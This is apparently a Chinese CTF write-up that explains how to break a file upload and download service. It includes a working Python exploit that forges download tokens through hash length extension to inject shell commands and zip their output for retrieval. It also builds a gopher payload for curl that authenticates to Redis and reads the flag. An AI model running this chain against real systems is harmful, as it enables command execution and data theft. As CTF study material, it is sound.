首先就是页面F12。得到js.map。里面有个API_BASE+'upload/list'
可以访问/api/upload/list
得到所有上传文件的列表。第一个就是源码
下下来审计
有三个大类
flag_provider
#flag相关
frontend_consumer
#路由部分
storage_provider
#路由对应功能的代码实现
首先看flag_provider
可以看到。读取了/flag。放在了redis里。key为flag
那操纵redis。ssrf+gopher或者RCE
先看文件上传部分。
前面都没啥。我们跟进putfile方法看看
好像也没啥东西。
继续看下载功能
根据之前上传下载一番操作。我们知道下载是根据一个base64的token下载的
继续更跟进这个验证token的函数
简单来说就我们传入的
{
"id":"xxxxx",
"sign":"xxxx"
}
base64(md5(secret.id))==sign
而密钥最后三位未知。就知道一个长度。然后继续看
他验证完token就会调用Readfile类
这里存在命令注入。但是靶机不出网。然后看看能不能回显
之前不是有文件上传嘛。。。。继续看他是咋实现文件下载的。
上传的时候对文件UUID命名进行打包
下载的时候对UUID命名文件进行解压。然后下载文件夹内第一个文件
那么我们只要把文件随便写入一个UUID内。然后下载不就好了。
然而。。。他下载就是根据ID来的。。。一但我们写入文件夹。。签名用hashdump。他就会去解压UUID%00%00的那个文件夹。。。。。
等等。一开始我们访问的/api/upload/list会显示所有用户上传的文件。并且其中有id和token
那么思路很清楚了
1。利用hashpump对ID进行注入。将结果写入txt并且zip压缩
2。访问/api/upload/list。查找我们生成的UUID对应的Token
3。解压ZIP。带着Token下载对应的文件。
以下是脚本
import requests
import base64
import hashpumpy
import json
import uuid
import sys
url = "http://IP/api/upload"
def init():
r=requests.post(url=url,files=[('file', ('testa.txt', 'abcd'))])
token=json.loads(base64.b64decode(json.loads(r.text)['data']['token']))
return token
def rce(token):
filename = str(uuid.uuid4())
initid=base64.b64decode(token['id'])
initsign=base64.b64decode(token['sign'])
command=sys.argv[1]
hash=hashpumpy.hashpump(initsign,initid,';' + command + ' >> ' + filename + '.txt;zip ' + filename + '.zip ' + filename + '.txt;rm -rf ' + filename + '.txt;',32)
newid=base64.b64encode(hash[1])
newsign=base64.b64encode(hash[0])
token['id']=str(newid)
token['sign']=str(newsign)
downloadtoken=json.dumps(token)
r=requests.get(url+'?token='+base64.b64encode(downloadtoken))
return filename
filename=rce(init())
r=json.loads(requests.get('http://IP/api/upload/list').text)['data']
for i in r:
if i['id']==filename:
r2=requests.get(url+'?token='+i['token']).text
print(r2)
exit()
然后可以利用curl gopher打Redis
源码中的redis密码是假的。。。ps -ef发现本地起的java
unzip -d /tmp/123 /usr/bin/flag_provider-0.0.1-SNAPSHOT.jar
解压到tmp。然后去里面搜application-prod.properties
知道在/tmp/123/BOOT-INF/classes/application-localhost.preperties
得到密码
然后本地开个wireshark。设个一样的密码
写个脚本跑下
data='2a320d0a24340d0a415554480d0a2432360d0a676c7a6a696e5f77616e74735f615f6769726c5f667269656e640d0a2a310d0a24370d0a434f4d4d414e440d0a2a320d0a24330d0a6765740d0a24340d0a666c61670d0a'
data2=''
for i in range(0,len(data),2):
data2+='%'+data[i]+data[i+1]
print(data2)
得到的payload后面还得加上
%2A1%0D%0A%244%0D%0Aquit%0D%0A
解码后为
*1
$4
quit
其中*1表示。。。就。。。就。get flag。这样算两个。quit这样算一个。空格分隔?
$4。就表示几个字符串
字符串
然后curl gopher://redis:6379/_PAYLOAD即可